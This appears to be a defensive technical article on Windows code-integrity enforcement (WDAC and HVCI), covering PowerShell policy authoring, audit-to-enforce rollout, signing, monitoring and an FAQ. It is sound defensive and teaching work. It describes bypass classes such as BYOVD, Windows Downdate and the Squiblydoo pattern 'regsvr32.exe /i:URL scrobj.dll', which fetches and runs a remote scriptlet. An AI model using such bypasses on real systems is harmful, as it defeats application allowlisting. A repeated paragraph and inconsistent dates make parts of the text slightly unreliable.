The PowerShell call that mints a new base policy is New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. The -Level flag picks one of the eight rule-level identities [@ms-rule-options] -- Hash, FilePath, FileName, FilePublisher, LeafCertificate, PcaCertificate, RootCertificate, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. FilePublisher is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded "anything from this signer" allowance.

A WDAC rule option (rule option 13 [@ms-rule-options], first shipped in Windows 10 1703 in April 2017 [@ms-2017-wdac-blog]) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a "trusted" attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to "how do you deploy software to a fleet that runs an enforced WDAC policy."

6.2 Audit-mode discovery

Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn [@ms-rule-options] is unambiguous: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn't allowed by the policy." Set-RuleOption -Option 3 on the policy XML enables audit mode; Set-RuleOption -Option 3 -Delete removes it and switches the policy into enforce mode. In between, the SOC harvests Microsoft-Windows-CodeIntegrity/Operational event 3076 entries with Get-WinEvent, and New-CIPolicy -Audit mints a discovery policy from the observed blocks that you can merge into the base.

Note: Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate New-CIPolicy -Audit -> merge -> redeploy until the audit-event volume goes near-zero. Then delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.

6.3 Signing

A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: Add-SignerRule -Update to add the signer that may replace the policy in future, Set-RuleOption -Option 6 -Delete to drop "Enabled:Unsigned System Integrity Policy" so the policy refuses to load unless signed, ConvertFrom-CIPolicy to produce the binary .cip, and signtool.exe with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites [@ms-rule-options]: Secure Boot [@paragmali-com-to-userini] must be on; ECDSA certificates are explicitly unsupported; and the policy's VersionEx must be monotonically increasing across replacements.

Note: A botched signed-policy update -- a VersionEx rollback, a wrong signer, a missing UpdatePolicySigner for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset before fleet rollout.

6.4 Deployment and stacking

Multiple-policy WDAC is the deployment model since Windows 10 1903 [@ms-deploy-multi]. Up to thirty-two active policies sit in C:\Windows\System32\CodeIntegrity\CIPolicies\Active\, or unlimited on devices that have the April 9, 2024 cumulative update [@ms-deploy-multi]. Base-and-supplemental composition (<SupplementalPolicySigner>) lets a divisional supplemental policy union into a corporate base. The <HvciOptions> element toggles HVCI from inside the policy XML itself. The published RecommendedDriverBlock_Enforced.xml [@ms-driver-blocklist] policy is designed to stack alongside an organisation's allowlist without merging.

Deployment surfaces today are: the Intune App Control for Business CSP [@ms-acfb-landing], Configuration Manager's App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.

flowchart LR A[DefaultWindows_Audit.xml] B[Set-RuleOption -Option 3
Deploy in audit mode] C[Get-WinEvent CodeIntegrity-Operational
collect event 3076] D[New-CIPolicy -Audit
mint supplemental from blocks] E[Merge supplemental + base] F[Set-RuleOption -Option 3 -Delete] G[ConvertFrom-CIPolicy + signtool] H[Deploy enforced via Intune / ConfigMgr] A --> B --> C --> D --> E --> C E --> F --> G --> H

6.5 Monitoring

Monitoring rests on two telemetry sources. The first is the Microsoft-Windows-CodeIntegrity/Operational channel [@ms-event-id-explanations] on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting [@ms-asr-rules], where the DeviceEvents table carries AppControlExecutableAudited, AppControlExecutableBlocked, and AppControlCodeIntegrityDriverRevoked rows. The two stitch together: a single 3033 event on the endpoint maps to a single AppControlCodeIntegrityDriverRevoked row in the SIEM.

The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-vmdrc-blog] -- Block abuse of exploited vulnerable signed drivers. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.

Event ID	Phase	Audience	Meaning
3023	Audit	Kernel-mode	Driver would have been blocked (audit)
3024	Enforce	Kernel-mode	Driver blocked
3033	Enforce	Kernel-mode	Driver blocked by Block List rule
3034	Audit	Kernel-mode	Driver allowed but matched audit
3076	Audit	User-mode	Process would have been blocked
3077	Enforce	User-mode	Process blocked

The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a New-CIPolicy -Level FilePublisher invocation extracts from a PE binary.

{` // Demonstrates the logic of: // New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash // // The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName // + minimum Version. Anything from the same publisher with the same product // and binary names, at or above the version bar, satisfies the rule. function filePublisherRule(pe) { return { O: pe.signer.organization, CN: pe.signer.commonName, ProductName: pe.versionInfo.productName, BinaryName: pe.versionInfo.originalFilename, MinimumVersion: pe.versionInfo.fileVersion, }; }

const peSample = { signer: { organization: 'Microsoft Corporation', commonName: 'Microsoft Windows' }, versionInfo: { productName: 'Microsoft Windows Operating System', originalFilename: 'powershell.exe', fileVersion: '10.0.26100.1', }, };

const rule = filePublisherRule(peSample); console.log('Generated FilePublisher rule:'); for (const [k, v] of Object.entries(rule)) console.log(' ' + k + ' = ' + v); console.log('Anything at or above version', rule.MinimumVersion, 'will satisfy this rule.'); `}

The consumer cousin of WDAC is Smart App Control [@ms-sac-support], which runs the same CI.dll against an example policy (SmartAppControl.xml, also shipped as SignedReputable.xml). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, "no way to bypass Smart App Control protection for individual apps."

WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.

7. Competing Approaches: Apple, Linux, Android

Three other major operating systems answer the question "which code is allowed to run on this device." None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.

macOS combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015) [@wikipedia-sip], and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple [@apple-gatekeeper]. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon [@apple-os-integrity], which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.

Linux ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009 [@linux-ima], with the Extended Verification Module (EVM) for off-line attack protection and dm-verity [@wikipedia-dm-verity] for read-only rootfs verification. IMA is the closest Linux analogue to WDAC's audit pipeline: it can collect file measurements, store them in a kernel-resident list (and extend a TPM PCR if hardware is present), attest them remotely, and appraise them against a "good" value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing's TDX or SEV-SNP overlay, and that is opt-in.

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot [@android-verified-boot], and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD [@wikipedia-dm-verity].

Android combines Android Verified Boot (AVB), introduced in Android 8.0 [@android-verified-boot], which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9) [@android-apk-signing], and v4 (Android 11) [@android-apk-v4]; the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.

Property	Windows (WDAC + HVCI)	macOS	Linux	Android
Tenant-authored policy	Yes (XML)	No	Yes (IMA appraise)	No
Hypervisor-rooted enforcement	Yes (VTL1)	No (silicon-rooted)	No (default)	No
Per-page W$\oplus$X for kernel	Yes (HVCI)	Yes (KIP, fixed)	No (default)	No
Sealed system image	No (modular)	Yes (sealed APFS)	Optional (dm-verity)	Yes (Verified Boot)
Per-load runtime check	Yes (every PE)	Yes (every Mach-O)	Optional (IMA)	App install / Zygote
Trust anchor	Microsoft + tenant	Apple only	TPM PCR / tenant	AVB key + Google Play
Documented bypass class	LOLBINs + BYOVD	Notarization gaps	Off-by-default IMA	Sandbox escapes

The Windows distinction is structural. A hypervisor-rooted runtime enforcement loop, against an XML-schema author-anywhere policy, evaluated at every PE load by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft's September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.

The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.

The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.

8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface

Fred Cohen proved in his 1984 paper Computer Viruses -- Theory and Experiments that the general problem WDAC tries to solve is undecidable. "Detection of a virus is shown to be undecidable both by a-priori and runtime analysis," [@cohen-eecs588] Cohen wrote in the abstract, "and without detection, containment is, in general, impossible." Cohen completed his Ph.D. at USC in 1986 [@wikipedia-fred-cohen], where Leonard Adleman (the A in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in Computers & Security in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- is this exact bag of bytes, with this exact signature, on the trusted list? -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.

Key idea: WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn't fixed; it is the empirical residue of an undecidable problem.

Henry Gordon Rice's 1951 doctoral result at Syracuse University [@wikipedia-rices-theorem]: every non-trivial semantic property of a Turing-complete program is undecidable. "Will this program ever execute arbitrary code from a network argument?" is a semantic property. Rice's theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft's bypass catalogue [@ms-bypass-catalogue] -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.

The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that write a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of existing executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in RET instructions, all of which were already in the kernel's executable text section, and the resulting computation is Turing-complete. Kernel Data Protection [@ms-kdp-blog] closes the data-corruption variant -- attackers shifting from modify code to modify data that drives code -- but the control-flow attack class remains.

The Driver Block List arms race is the third structural limit. Microsoft's own Learn page on the Block List [@ms-driver-blocklist] says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor's installed base.

It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions. -- Microsoft Learn, Microsoft recommended driver block rules, 2026.

The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD [@ms-hyperv-bounty] on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does not break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft's view of how much it values an attack that compromises the HVCI substrate from above.

Bound	Source	What it implies
Cohen 1986 lower bound	Cohen, Computer Viruses -- Theory and Experiments [@cohen-eecs588]	General malware detection is undecidable; allowlists are the only decidable primitive
Rice's theorem lower bound	Rice 1951 [@wikipedia-rices-theorem]	Static analysis cannot decide non-trivial semantic properties of LOLBINs
Reachable bound	WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint	Decidable allowlist + curated deny list + EDR telemetry on the residual
Residual surface	ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback	Microsoft response: KDP, hash-pinned bypass list, VMDRC reporting [@ms-wdsi-driver], KB5042562 [@nvd-cve-2024-21302]

A short proof-by-existence: the July 2024 Windows Downdate disclosure [@safebreach-downdate] used a downgrade attack to roll back HVCI's own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with KB5042562 and the opt-in revocation policy [@nvd-cve-2024-21302] -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.

WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.

9. Open Problems: Where Research Lives Today

Five live research directions sit on the frontier of the runtime enforcement loop. Each is the next generation of one of the residuals named in section eight.

Data-only attacks against HVCI and KDP coverage. KDP closes the data-corruption gap, but only opt-in per driver [@ms-kdp-blog] -- the driver author has to call MmProtectDriverSection for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.

BYOVD-class drivers faster than the Block List update cadence. The Block List ships quarterly, with monthly Windows updates as the delivery mechanism [@ms-driver-blocklist]; the LOLDrivers community catalogue [@loldrivers] operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center [@ms-wdsi-driver] is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.

Signed-but-vulnerable user-mode binaries. The forty-entry bypass catalogue [@ms-bypass-catalogue] keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, "regsvr32 with /i:URL arguments" can be denied even when "regsvr32 without arguments" is allowed. Some of this lives in Defender's ASR rules [@ms-asr-rules] today; none of it lives inside WDAC's static schema.

HVCI rollback (CVE-2024-21302 Windows Downdate). Alon Leviev's Black Hat USA 2024 disclosure [@safebreach-downdate] used the Windows Update flow itself to downgrade HVCI's substrate to an older, vulnerable version -- "I successfully downgraded Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities." Mitigation was completed July 8, 2025 with KB5042562 [@nvd-cve-2024-21302]. But the Windows Update takeover that delivered the downgrade remains unpatched [@safebreach-downdate-update] because Microsoft does not consider admin-to-kernel a security boundary; "Gaining kernel code execution as an Administrator is not considered as crossing a security boundary." The open direction is mandatory dbx hygiene plus UEFI-locked monotonic version counters for VBS binaries.

I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world. -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.

The post-CrowdStrike user-mode-security pivot. The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft's September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets [@paragmali-com-secure-kernel] is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI's silicon dependency improves for legacy fleets.The LOLDrivers catalogue [@loldrivers] tracks new BYOVD entries on a daily cadence; recent April 2026 entries include iOCdrv.sys and Windows_CPU_Temperature_Component.sys, both classified as "Vulnerable driver." The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor's installed base on a Wednesday.

These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is not contested -- the operational discipline a 2026 administrator should follow today.

10. Practical Guide: A Phased Rollout for a 2026 Estate

If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.

Phase 0 (week 1) -- silicon verification. Run Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard against a representative sample. Confirm that AvailableSecurityProperties includes 1 (hypervisor support), 2 (Secure Boot), and 7 (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later [@ms-memory-integrity]). Confirm that VirtualizationBasedSecurityStatus = 2 on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented "HVCI-incapable" exception with an EDR-only compensating control.

Note: Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having "a bigger impact on performance" than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.

Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce. Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy RecommendedDriverBlock_Enforced.xml [@ms-driver-blocklist] standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the Microsoft-Windows-DeviceGuard/Operational channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.

Phase 2 (weeks 5-10) -- WDAC base policy in audit mode. Author a base policy from DefaultWindows_Audit.xml [@ms-example-policies] using New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. Deploy in audit. Iterate New-CIPolicy -Audit against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don't be that rollout.

Phase 3 (weeks 11-16) -- sign and enforce. Sign the base policy (Add-SignerRule -Update, Set-RuleOption -Option 6 -Delete, ConvertFrom-CIPolicy, signtool.exe [@ms-rule-options]). Validate the signed policy on a wave-1 subset before fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-vmdrc-blog] at the Defender for Endpoint policy layer. Integrate the CodeIntegrity-Operational channel into your SIEM [@ms-asr-rules] via Defender for Endpoint advanced hunting -- the DeviceEvents table is your join point.

Note: A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the <UpdatePolicySigner> element of the currently active policy before you ship the new policy. Always increment VersionEx monotonically. None of these are nice-to-haves.

Phase 4 (ongoing) -- continuous tuning. Quarterly: refresh the Driver Block List policy [@ms-driver-blocklist]; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list [@ms-bypass-catalogue] against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue [@loldrivers] for new vulnerable drivers your environment ships.

Note: Audit volume goes near-zero before enforce, not "low" before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.

The "do not do" list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the VersionEx boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft's own AppLocker overview [@ms-applocker-overview] disqualifies the feature as a security boundary. Do not turn HVCI off to "fix" driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.

```powershell Get-CimInstance -ClassName Win32_DeviceGuard ` -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object AvailableSecurityProperties, VirtualizationBasedSecurityStatus, SecurityServicesRunning, CodeIntegrityPolicyEnforcementStatus ``` Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.

After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop's continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.

11. FAQ: The Misconceptions This Article Closes

Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.

No. They share the AppLocker Application Identity service [@ms-applocker-overview] for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature [@ms-acfb-overview], meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker [@ms-applocker-overview] as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses. No. NX (the No-Execute bit on x86-64) is a permission bit the CPU's MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state [@ms-kdp-blog] held in the hypervisor's page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX's enforcement substrate is editable by the attacker; HVCI's is not. No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the `CodeIntegrity-Operational` channel [@ms-driver-blocklist] records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the July 2025 KB5042562 mitigation [@nvd-cve-2024-21302] closed that vector for the documented CVE. No. Smart App Control [@ms-sac-support] is the same `CI.dll` engine consuming an example WDAC policy (`SmartAppControl.xml` / `SignedReputable.xml` [@ms-example-policies]) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph [@ms-isg], the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers. No. Microsoft holds back blocks for compatibility [@ms-driver-blocklist] -- the canonical Microsoft Learn position is that breaking an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim "hold back some blocks" quote anchors the §8 PullQuote above. The LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months. No. The Microsoft Learn memory-integrity page [@ms-memory-integrity] reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill. Only if you remove the Script Enforcement opt-out (rule option 11, `Disabled:Script Enforcement` [@ms-rule-options]). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue [@ms-bypass-catalogue] -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode. Mostly. But some policy options change behaviour even in audit mode -- for example, `Disabled:Runtime FilePath Rule Protection` [@ms-rule-options] removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.

Key idea: A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.

That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.

<StudyGuide slug="wdac-hvci-code-integrity-at-every-layer-in-windows" keyTerms={[ { term: "WDAC", definition: "Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll." }, { term: "HVCI", definition: "Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries." }, { term: "BYOVD", definition: "Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution." }, { term: "VTL0 / VTL1", definition: "Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker." }, { term: "Squiblydoo", definition: "Casey Smith's April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient." }, { term: "SiPolicy XML", definition: "The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners." }, { term: "Driver Block List", definition: "Microsoft's recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+." }, { term: "ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5", definition: "The Defender for Endpoint 'Block abuse of exploited vulnerable signed drivers' rule that pairs with the Block List as the EDR-side telemetry partner." }, { term: "Cohen 1984/1986", definition: "Fred Cohen's 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector." }, { term: "Rice's theorem", definition: "Henry Gordon Rice's 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated." } ]} questions={[ { q: "What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?", a: "CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W->X SLAT refusal that emits CodeIntegrity-Operational event 3033." }, { q: "Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?", a: "Because the publisher rule scopes trust to the binary's signer, not the binary's behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch." }, { q: "What is the architectural inversion HVCI performs against Joanna Rutkowska's 2006 Blue Pill argument?", a: "Blue Pill argued the hypervisor was the attacker's substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender's substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1." }, { q: "Why does the Driver Block List always lag behind the LOLDrivers community catalogue?", a: "Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle." }, { q: "What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?", a: "Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run." } ]} />